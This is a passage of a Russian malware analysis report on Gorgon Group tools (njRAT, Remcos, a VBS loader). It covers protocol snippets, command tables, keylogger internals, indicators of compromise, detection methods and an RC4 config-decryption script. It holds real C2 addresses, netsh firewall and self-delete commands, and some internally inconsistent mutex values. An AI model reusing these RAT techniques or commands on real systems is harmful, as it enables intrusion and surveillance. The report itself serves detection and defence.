- infn: текущая конфигурация (имя клиента, сервер, DR, EXE, флаги Idr, IsF, Isu, BD, Hid, Spr) в Base64.

Формат кадра задан функцией Sendb (SendBytes): десятичная длина сообщения в ASCII, нулевой байт, затем сами данные. Приём в RC выполняется в обратном порядке: сначала читаются символы до нулевого байта, затем принимается указанное число байт, после чего сообщение передаётся обработчику Ind в отдельном потоке. Шифрования нет: данные передаются открытым текстом с кодировкой Base64 для полей (T1132.001).

```
// OK.Sendb (SendBytes): отправка кадра
string hdr = Conversions.ToString(b.Length) + "\0";    // "<длина>\0"
ms.Write(SB(hdr)); ms.Write(b);                         // длина + данные
C.Client.Send(ms.ToArray());

// OK.RC (RecvLoop): чтение кадра, сокращённо
while ((c = stream.ReadByte()) != 0) text += (char)c;   // длина до
нулевого байта
len = Conversions.ToLong(text);
... Receive(b, 0, ...);  MeM.Write(b, 0, count);        // накопление len
байт
if (MeM.Length == len) new Thread(Ind).Start(MeM.ToArray());   // обработка
команды
```

Если сервер недоступен (как в случае с `127.0.0.1:55531`, где нет слушающего процесса), клиент остаётся в цикле переподключения и ничего другого по сети не делает.

6.3.6. Команды управления

Функция `Ind` (`CommandHandler`) разбивает сообщение по `|'|'|` и выбирает действие по первому полю. Команды сгруппированы в таблице 20.

Таблица 20 — Команды, поддерживаемые клиентом

Группа	**Команды**
Служебные	`li` (сбросить соединение и переподключиться), `un` (подкоманды: `~` удалить клиент через `UNS`, `!` снять защиту и завершить, `@` перезапустить), `prof` (работа со значениями реестра `HKCU\Software\<RG>`: `~` записать, `!` записать и вернуть значение, `@` удалить, `$` заменить список C2)
Запуск и обновление	`rn` (запуск файла: принимается в сообщении в виде GZip-архива или скачивается по ссылке `http...` через `WebClient.DownloadData`, записывается во временный файл `%TEMP%\tmp<xxxx>.tmp.<расширение>` и запускается через `Process.Start`), `up`, `rp`, `rps` (то же, но новый файл запускается с параметром `..`, после чего клиент удаляет себя через `UNS`)
Слежение	`kl` (отправить журнал кейлоггера в Base64), `CAP` (скриншот основного экрана с курсором, JPEG качество 50, размер уменьшенной копии задаёт сервер)
Атака	`DOS` (флуд заданного адреса и порта по UDP или TCP: параметры адрес, порт, протокол, длительность в секундах,

Группа	Команды
	число повторов, пауза, текст пакета; при UDP текст каждый раз удваивается)
Плагины	PLG (принять GZip-архив со сборкой .NET и загрузить как основной плагин), Ex (передать данные методу ind основного плагина; если плагина нет, запрашивается PLG), info, ret (загрузить плагин из реестра по имени, вызвать его метод GT и вернуть результат), inv (запустить плагин с параметрами сервера h, p и ключом osk, это отдельное подключение плагина)

Собственных команд файлового менеджера, удалённой консоли, сбора паролей, управления рабочим столом, микрофона или камеры в клиенте нет: в njRAT эти возможности вынесены в плагины, которые оператор передаёт по команде PLG или сохраняет в реестре (команды info, ret, inv). Без плагинов образец умеет только то, что перечислено в таблице. Загрузка плагина выполняется функцией Plugin (LoadPlugin): байты распаковываются функцией ZIP (GZip), сборка загружается из памяти через Assembly.Load, после чего создаётся экземпляр типа, имя которого оканчивается на .A (T1620). Плагин не записывается на диск: при командах info, ret, inv его двоичный образ хранится в значении реестра с 32-символьным именем.

6.3.7. Кейлоггер (kl)

Класс kl работает в отдельном потоке (WRK, KeyloggerLoop). Поток читает из HKCU\Software\<RG>\kl ранее накопленный журнал, затем в цикле опрашивает GetAsyncKeyState для кодов 0–255 с паузой 1 мс. Для каждой нажатой клавиши функция Fix (KeyToText) формирует текст: функциональные клавиши, End, Delete, Backspace записываются как [F1], [ENTER], [TAP] и т.д., служебные (Shift, Ctrl, Alt) пропускаются, остальные символы получаются функцией VKCodeToUnicode через ToUnicodeEx с учётом раскладки окна и регистра (Shift и CapsLock). Перед записью символа функция AV (WindowHeader) при смене активного окна добавляет строку вида дата имя_процесса заголовок_окна. Каждые 1000 циклов журнал обрезается до Klen КБ (20 КБ) и сохраняется в значение kl, поэтому он переживает перезапуск. Журнал отправляется серверу по команде kl (T1056.001).

6.3.8. Разобранные функции

Таблица 21 — Разобранные функции клиента

Оригинальное имя	Имя в отчёте	Назначение
OK.main	EntryMain	точка входа: создаёт OK и вызывает Ncn
OK.Ncn	LoadC2List	чтение списка C2 из hp или поля PH, запуск потока на каждый адрес
OK.start	StartC2Thread	разбор адрес:порт и запуск потока ko
OK.ko	MainLoop	мьютекс, закрепление, потоки RC и WRK, периодические действия
OK.INS	InstallSelf	SEE_MASK_NOZONECHECKS, правило брандмауэра, Run, копирование по флагам
OK.RC	RecvLoop	приём кадров, запуск обработчика, переподключение
OK.connect	ConnectC2	TCP-подключение, отправка li и infn
OK.inf	BuildHostInfo	регистрационное сообщение о машине
OK.Send, OK.Sendb	SendText, SendBytes	отправка кадра <длина>\0<данные>
OK.Ind	CommandHandler	разбор и выполнение команд сервера
OK.Plugin	LoadPlugin	загрузка сборки-плагина через Assembly.Load
OK.ZIP	UnpackGzip	распаковка GZip-данных
OK.ENB, OK.DEB, OK.SB, OK.BS	EncodeB64, DecodeB64, StrToBytes, BytesToStr	Base64 и UTF-8
OK.GTV, OK.STV, OK.DLV	RegGet, RegSet, RegDelete	чтение, запись и удаление значений HKCU\Software\<RG>
OK.ACT	GetActiveWindow	заголовок активного окна в Base64
OK.HWD	GetVolumeSerial	серийный номер тома системного диска (используется в имени клиента)
OK.Cam	HasCamera	проверка наличия драйвера камеры
OK.USBspr	SpreadUSB	копирование на съёмные диски и autorun.inf (выключено)
OK.UNS	Uninstall	полное удаление клиента
OK.pr	SetCriticalProcess	NtSetInformationProcess с классом 29 (ProcessBreakOnTermination)

Оригинальное имя	Имя в отчёте	Назначение
`kl.WRK`	`KeyloggerLoop`	опрос клавиатуры и сохранение журнала в реестр
`kl.Fix`	`KeyToText`	преобразование клавиши в текст
`kl.VKCodeToUnicode`	`VkToUnicode`	символ клавиши с учётом раскладки (`ToUnicodeEx`)
`kl.AV`	`WindowHeader`	заголовок с датой, именем процесса и окном при смене окна

Вспомогательные методы `OK.CompDir` (сравнение путей), `OK.GetEncoderInfo` (кодек JPEG для `CAP`), `OK.ED` (вызывает `pr(0)` при завершении сеанса), `OK.md5` и `kl.HM` (текущая дата) на логику работы существенно не влияют. Метод `md5` в разобранном коде не вызывается.

6.3.9. Противодействие анализу

Проверок виртуальной машины, песочницы, отладчика и средств анализа в коде нет (в сборке отсутствуют обращения к спискам процессов, ключам VMware и VirtualBox, `IsDebuggerPresent`). Единственные приёмы скрытия: короткие имена методов, строка `DownloadData`, собранная через `Replace`, имя клиента в Base64 и защита процесса от завершения (`pr(1)`), включаемая флагом `BD`. Образец можно запускать в виртуальной машине без специальной подготовки.

6.4. Динамический анализ

[ДОПИСАТЬ: описать запуск и результаты: использованные утилиты, что именно было замечено. Чтобы увидеть сетевой обмен, нужно запустить слушатель на `127.0.0.1:55531` (например, `ncat -l 55531` или скрипт на Python) до запуска образца: клиент подключится к нему и отправит сообщение `li`, после чего можно вручную отправлять кадры `<длина>\0<команда>` и проверять ответы]

Таблица 22 — Сопоставление статического и динамического анализа

Что проверяем	Ожидание по результатам статики	Результат в ВМ
Дерево процессов	процесс остаётся запущенным; дочерний `netsh.exe` с командой `firewall add allowedprogram`; копирования и перезапуска нет	[ДОПИСАТЬ]
Мьютекс	`a7c34a25f5c5b16d3a26d56c11dd4df5SGFjS2Yk`	[ДОПИСАТЬ]
Реестр	`HKCU\Environment\SEE_MASK_NOZONECHECKS = 1`; `HKCU` и `HKLM\...\Run\a7c34a25f5c5b16d3a26d56c11dd4df5 = "<путь>" ..` (в `HKLM` при правах администратора); `HKCU\Software\a7c34a25f5c5b16d3a26d56c11dd4df5\i = !`, `hp` (Base64 от `127.0.0.1:55531,`), `kl` (журнал нажатий)	[ДОПИСАТЬ]
Брандмауэр	запись об образце в списке разрешённых программ `netsh firewall show allowedprogram`	[ДОПИСАТЬ]
Сеть	циклические попытки TCP-подключения к `127.0.0.1:55531` с интервалом в несколько секунд; без слушателя других соединений нет	[ДОПИСАТЬ]
Первый пакет	кадр `<длина>\0li|''|<Base64>|''|...` и сообщение `infn`, без шифрования	[ДОПИСАТЬ]
Кейлоггер	значение `kl` в реестре пополняется после ввода текста в окне, в журнале есть заголовки окон	[ДОПИСАТЬ]



Рис. 18 — Дерево процессов (Process Hacker): образец и дочерний netsh.exe



Рис. 19 — Regshot или Process Monitor: ключ HKCU\Software\a7c34a25... и значение Run



Рис. 20 — Wireshark или консоль слушателя: первый пакет li|'|'|... от клиента

6.5. Соответствие классификации MITRE ATT&CK

В таблице 23 приведены результаты по пунктам задания 6.a–6.m.

Таблица 23 — Результаты по пунктам 6.a–6.m задания

Пункт	Тема	Результат (техники MITRE ATT&CK)
a	Закрепление	Значение `Run\a7c34a25...` в `HKCU` и `HKLM` (`INS`, `ko`; T1547.001), включено. Копирование в `Startup`, копирование в `%TEMP%`, заражение USB с `autorun.inf` (T1091), защита от завершения (`pr`) реализованы, но выключены. Самоудаление `UNS` (T1070.004).
b	Повышение привилегий	Не обнаружено. Запись в `HKLM\...\Run` и `netsh` выполняются только если процесс уже запущен с правами администратора.
c	Сбор информации о системе	Имя компьютера и пользователя, ОС и пакет обновления, разрядность, серийный номер тома, наличие камеры, дата файла (T1082, T1033), заголовок активного окна (T1010).
d	Поиск средств защиты	Не обнаружено: проверок антивирусов, виртуальных машин, отладчиков и процессов анализа в коде нет.
e	Сетевая активность	Команда `DOS`: UDP- и TCP-флуд заданного адреса (T1498.001). Сбора сведений о сети и сканирования нет.
f	Сетевые атаки (MITM)	Не обнаружено.
g	Эксплуатация уязвимостей	Образец уязвимости не эксплуатирует. Группа использует CVE-2017-0199 при доставке (по данным [1]).
h	Связь с C2	TCP, собственный протокол с длиной и разделителем `|'|'|`, Base64 без шифрования (T1095, T1132.001), нестандартный порт `55531` (T1571), приём и запуск файлов (T1105), загрузка плагинов из памяти (T1620).
i	Поиск целевой информации	В самом образце не обнаружено. Возможности просмотра файлов находятся в плагинах, которые приходят от C2.
j	Доступ к критической информации	Кейлоггер с журналом в `HKCU\Software\<RG>\kl` (T1056.001), скриншоты (`CAP`, T1113). Пароли собираются плагинами, в образце их нет.

Пункт	Тема	Результат (техники MITRE ATT&CK)
k	Вредоносные действия	`DOS` (T1498.001), запуск и обновление произвольных файлов (`rn`, `up`). Майнинга, шифрования и разрушения данных нет.
l	Данные других приложений	Не обнаружено в самом образце. Кейлоггер фиксирует имя процесса и заголовок окна, но чтение браузеров и почты возможно только плагинами.
m	Изменение конфигурации системы	Правило брандмауэра `netsh firewall add allowedprogram` (T1562.004), отключение проверки зоны `SEE_MASK_NOZONECHECKS` (T1553.005), запись в `Run`.

6.6. Индикаторы компрометации

Таблица 24 — Индикаторы компрометации компонента 3

Тип	Значение
Хеш SHA-256	`fff353843eb081d94aac5c048c7cbc41 e62ecd476a2cbee970066199f81afdaa`
Хеш MD5 / SHA-1	`7cf3aecad9d39a53f50786d6a8027029 fb29cbd768bd1f8f3de4ad7e7e0d59266b51717b`
C2-сервер	`127.0.0.1:55531` (значение в сборке; может быть заменено командой `prof $`)
Мьютекс	`a7c34a25f5c5b16d3a26d56c11dd4df5SGFjS2Vk`
Реестр	`HKCU\Software\a7c34a25f5c5b16d3a26d56c11dd4df5` (значения `hp`, `i`, `kl`, `vn`, а также двоичные значения плагинов); `HKCU\di`; `HKCU\Environment\SEE_MASK_NOZONECHECKS`; `HKCU` и `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\a7c34a25f5c5b16d3a26d56c`
Командные строки	`netsh firewall add allowedprogram "<путь>" "<имя>" ENABLE`; `cmd.exe /c ping 0 -n 2 & del "<путь>"` при самоудалении
Файлы при включённых флагах	`%STARTUP%\a7c34a25f5c5b16d3a26d56c11dd4df5.exe`; `<диск>:\a7c34a25f5c5b16d3a26d56c11dd4df5.exe` и `<диск>:\autorun.inf` на USB-носителях
Строки в файле	`SEE_MASK_NOZONECHECKS`, `|'|'|`, `SGFjS2Vk`, `Downiata`, `netsh firewall add allowedprogram`, `a7c34a25f5c5b16d3a26d56c11dd4df5`, `0.11G`
Тип сборки	управляемая сборка .NET v2.0.50727 с именем `k` и точкой входа `k.OK.main`

6.7. Способы выявления

- **Хост.** Значение в `Run`, имя которого состоит из 32 шестнадцатеричных символов, а данные заканчиваются параметром `..`; ключ `HKCU\Software\<32 символа>` со значениями `hp`, `i`, `kl`; переменная `SEE_MASK_NOZONECHECKS` в `HKCU\Environment`; запуск `netsh.exe firewall add allowedprogram` пользовательской программой (в Sysmon: создание процесса, ID 1; изменение реестра, ID 12 и 13; создание файла, ID 11; сетевое соединение, ID 3). Журнал `kl` растёт при вводе текста.
- **Файл.** Правило YARA по набору строк (`SEE_MASK_NOZONECHECKS`, `|'|'|`, `Downiata`, `netsh firewall add allowedprogram`, `capGetDriverDescriptionA`, `NtsetInformationProcess`) в управляемой сборке (импорт только `mscoree.dll`). Дополнительно можно искать в метаданных .NET совместное присутствие методов `Ncn`, `INS`, `Ind`, `GTV`, `STV`.
- **Сеть.** Длинные серии повторных TCP-подключений к одному адресу с интервалом в несколько секунд; в первых байтах потока: десятичное число, нулевой байт и `li|'|'|`. Данные не шифруются, поэтому команды и регистрационное сообщение видны в трафике и могут быть выделены сигнатурой IDS по разделителю `|'|'|`.
- **Профилактика.** Блокировка исполняемых файлов из `%TEMP%` и `%APPDATA%` (AppLocker), ограничение прав пользователей (без прав администратора не удастся изменить `HKLM\...\Run` и правила брандмауэра), блокировка autorun для съёмных носителей, фильтрация исходящего трафика на нестандартные порты, обновление Office (CVE-2017-0199) и запрет макросов из недоверенных источников.

7. Сводная таблица результатов

Таблица 25 — Результаты изучения компонентов ВПО, используемого в APT

№	Название компонента	Назначение	Вредоносные действия, техники MITRE ATT&CK	Описание и принципы работы	Индикаторы компрометации (IoC)	Способы выявления	Ссылки
1	Remcos RAT `ff94bcc4...b75baa`	Троян удалённого доступа и слежения	Самокопирование под именем EXCEL.exe (T1036.005), `install.bat` (T1059.003), кейлоггер (T1056.001), скриншоты, микрофон, камера (T1113, T1123, T1125), удалённая консоль, загрузка файлов (T1105), сбор паролей по команде (T1555.003), канал RC4 (T1573.001); в коде выключены: автозагрузка (T1547.001, T1547.004), обход UAC (T1548.002), hollowing (T1055.012), проверки среды (T1497.001, T1622)	Конфигурация RC4 в ресурсе `SETTINGS`; самокопирование в `%APPDATA%\EXCEL`, запуск через `install.bat`; цикл связи с C2, регистрация `addnew`, более 50 команд оператора	SHA-256: `ff94bcc4...b75baa` C2: `115.186.136.237:9999` мьютекс: `remcos_bjynqcwqnb` ключ реестра: `HKCU\Software\remcos_bjynqcwqnb` файлы: `%APPDATA%\EXCEL\EXCEL.exe`, `%APPDATA%\remcos\logs.dat`	Sysmon (ID 1, 11, 12, 13, 3); правило YARA по строкам; блокировка адреса C2; AppLocker для `%APPDATA%` и `%TEMP%`	[1], [2], [4]
2	VBS-загрузчик `fff9abf1...eac720`	Загрузчик следующей стадии	Извлечение скрипта `go.vbs` из ресурсов и запуск через `wscript` (T1059.005), PowerShell	Ресурсы `B` (скрипт), `N` (имя), `O` (флаги), `D` (`-v2edecompile`); запись скрипта в `%TEMP%`	SHA-256: `fff9abf1...eac720` домен: `lokipanelhostingpanel.gq` URL: `/work/go/1s.exe`, `/work/`	Sysmon (ID 1, 11, 3, 22); журнал PowerShell 4104; YARA по	[1], [2], [3]

№	Название компонента	Назначение	Вредоносные действия, техники MITRE ATT&CK	Описание и принципы работы	Индикаторы компрометации (IoC)	Способы выявления	Ссылки
			`WebClient.DownloadFile` и `Start-Process` (T1059.001, T1105, T1071.001), маскировка нагрузки под `svchost32.exe` (T1036.005), открытие документа-приманки `svchost32.docx`, обфускация строк скрипта (T1027.010), удаление скрипта и каталога (T1070.004)	`\<hex>.tmp`, скрытый запуск `wscript`, ожидание завершения, очистка; сам по сети не работает	`go/1.docx` файлы: `%TEMP%\<hex>.tmp\go.vbs`, `C:\Users\Public\ svchost32.exe`	строкам `v2e...`; блокировка домена; AppLocker для `%TEMP%` и `C:\Users\Public`	
3	njRAT (Bladabindi) `fff35384...afdaa`	Троян удалённого доступа и слежения	Закрепление в `Run` (T1547.001), правило брандмауэра `netsh` (T1562.004), отключение проверки зоны `SEE_MASK_NOZONECHECKS` (T1553.005), кейлоггер (T1056.001), скриншоты (T1113), запуск и обновление файлов (T1105), UDP- и TCP-флуд `DOS` (T1498.001),	Клиент .NET (VB.NET): классы `OK` (связь, команды, закрепление) и `kl` (кейлоггер); конфигурация в полях в открытом виде; кадр `<длина>\0<данные>`, поля через `|'|'|`; команды `li`, `prof`, `rn`, `up`, `CAP`, `kl`, `DOS`, `PLG`, `Ex`, `inv`; остальное (файлы,	SHA-256: `fff35384...afdaa` C2: `127.0.0.1:55531` мьютекс: `a7c34a25f5c5b16d3a26d56c11dd4df5GrJs2Vk` ключ реестра: `HKCU\Software\a7c34a25f5c5b16d3a26d56c11dd4df5` значение `Run` с тем же именем `SEE_MASK_NOZONECHECKS`	Sysmon (ID 1, 11, 12, 13, 3); YARA по строкам и метаданным .NET; конец значений `Run` с именем из 32 символов и параметром `..`; AppLocker для `%TEMP%` и `%APPDATA%`; IDS	[1], [3], [6]

№	Название компонента	Назначение	Вредоносные действия, техники MITRE ATT&CK	Описание и принципы работы	Индикаторы компрометации (IoC)	Способы выявления	Ссылки
			загрузка плагинов из памяти (T1620), Base64 без шифрования (T1132.001), самоудаление (T1070.004); в коде выключены: копирование в каталог и папку «Автозагрузка», заражение USB (T1091), защита процесса от завершения	пароли, рабочий стол) приходит плагинами		по разделителю |'|'|	

8. Выводы

В ходе работы изучена группа Gorgon Group, сочетающая целевые атаки на государственные организации и массовые криминальные кампании, и исследовано ВПО, используемое в её операциях. Изучены сценарии заражения (фишинговые документы Microsoft Word с эксплуатацией CVE-2017-0199 и макросами, загрузчики на VB.NET, сценарии VBS и PowerShell), применяемые трояны удалённого доступа и приёмы обхода защиты.

По первому компоненту (SHA-256 `ff94bcc4...b75baa`) на основании предварительного, статического и динамического анализа установлено, что это троян удалённого доступа Remcos. Расшифрована его конфигурация, хранящаяся в ресурсе `SETTINGS` в виде RC4-шифртекста с ключом, встроенным в сам ресурс. Определены адрес C2-сервера `115.186.136.237:9999` и пароль канала. Этот адрес совпадает с адресом, фигурирующим в публикации Unit 42 о Gorgon Group, что подтверждает принадлежность образца к инфраструктуре группы. Описан механизм установки (копирование под именем `EXCEL.exe` и запуск через `install.bat`), реализованные, но выключенные в данной конфигурации механизмы автозагрузки, обхода UAC, внедрения в процесс и обнаружения среды анализа, а также протокол связи с C2 и набор из более чем 50 команд оператора, включающий кейлоггер, скриншоты, захват звука и камеры, удалённую консоль и загрузку файлов.

Результаты по пунктам 6.a–6.m сведены в таблицу соответствия MITRE ATT&CK, определены индикаторы компрометации и способы выявления, итоги представлены в таблице 2 заданного формата. Второй компонент (SHA-256 `fff9abf1...eac720`) оказался загрузчиком: исполняемый файл хранит в ресурсах открытый скрипт VBScript, записывает его в `%TEMP%\<hex>.tmp\go.vbs`, запускает через `wscript` и удаляет; скрипт с помощью PowerShell скачивает с `lokipanelhostingpanel.gq` программу `1s.exe` и запускает её как `C:\Users\Public\svchost32.exe`, а также скачивает документ `1.docx` и открывает его как `svchost32.docx`. Антианализа, закрепления и сетевого кода в самом файле нет. Третий компонент (SHA-256 `fff35384...afdaa`) представляет собой клиент njRAT (Bladabindi) на .NET, который анализировался декомпилятором ILSpy. Он закрепляется записью в `Run` (`HKCU` и `HKLM`), разрешает

себя в брандмауэре командой `netsh`, отключает проверку зоны источника переменной `SEE_MASK_NOZONECHECKS`, ведёт журнал нажатий клавиш в реестре и по протоколу без шифрования принимает от сервера команды: снимок экрана, журнал клавиатуры, запуск и обновление файлов, UDP- и TCP-флуд, загрузка плагинов в память. Адрес сервера в сборке `127.0.0.1:55531`, поэтому реальный C2 по образцу не определяется. Копирование, USB-распространение, скрытие файла и защита от завершения реализованы, но выключены. [ДОПИСАТЬ: дополнить выводы по результатам динамического анализа]

Список источников

1. Palo Alto Networks Unit 42. The Gorgon Group: Slithering Between Nation State and Cybercrime. 2018. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
2. MITRE ATT&CK. https://attack.mitre.org/
3. VirusTotal. https://www.virustotal.com
4. Sikorski M., Honig A. Practical Malware Analysis. No Starch Press, 2012.
5. Каталог образцов APTMalware, группа Gorgon Group. https://github.com/cyber-research/APTMalware/tree/master/samples/Gorgon%20Group
6. ILSpy, декомпилятор сборок .NET. https://github.com/icsharpcode/ILSpy

Приложения

Приложение А

Скрипт расшифровки конфигурации из ресурса `SETTINGS` (`decrypt_settings.py`).

```
import sys

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0; out = bytearray()
    for b in data:
        i = (i + 1) % 256; j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

blob = open(sys.argv[1], "rb").read()
klen = blob[0]                  # первый байт - длина ключа
key = blob[1:1 + klen]          # RC4-ключ
enc = blob[1 + klen:]           # зашифрованная конфигурация
dec = rc4(key, enc)

print(f"размер ресурса: {len(blob)}, ключ: {klen}, данных: {len(enc)}")
print(repr(dec))
for n, f in enumerate(dec.split(b"@@")):
    print(n, repr(f))
```

Приложение Б

Результат расшифровки ресурса SETTINGS (436 байт, ключ 205 байт, данные 230 байт).

```
115.186.136.237:9999:pass|
@@Host@@5@@\x01@@\x00@@\x00@@\x00@@\x00@@\x00@@6@@
EXCEL.exe@@excel@@\x00@@0@@remcos_bjynqcwqnb@@1@@6@@logs.dat@@\x00@@\x00@@
\x00@@1@@\x00@@@@5@@6@@Screens@@\x00@@\x00@@\x00@@\x00@@\x00@@\x00@@\x00@@
\x00@@\x00@@5@@6@@audio@@\x00@@0@@0@@@@\x00@@\x01@@0@@\x00@@1@@EXCEL@@
remcos@@
```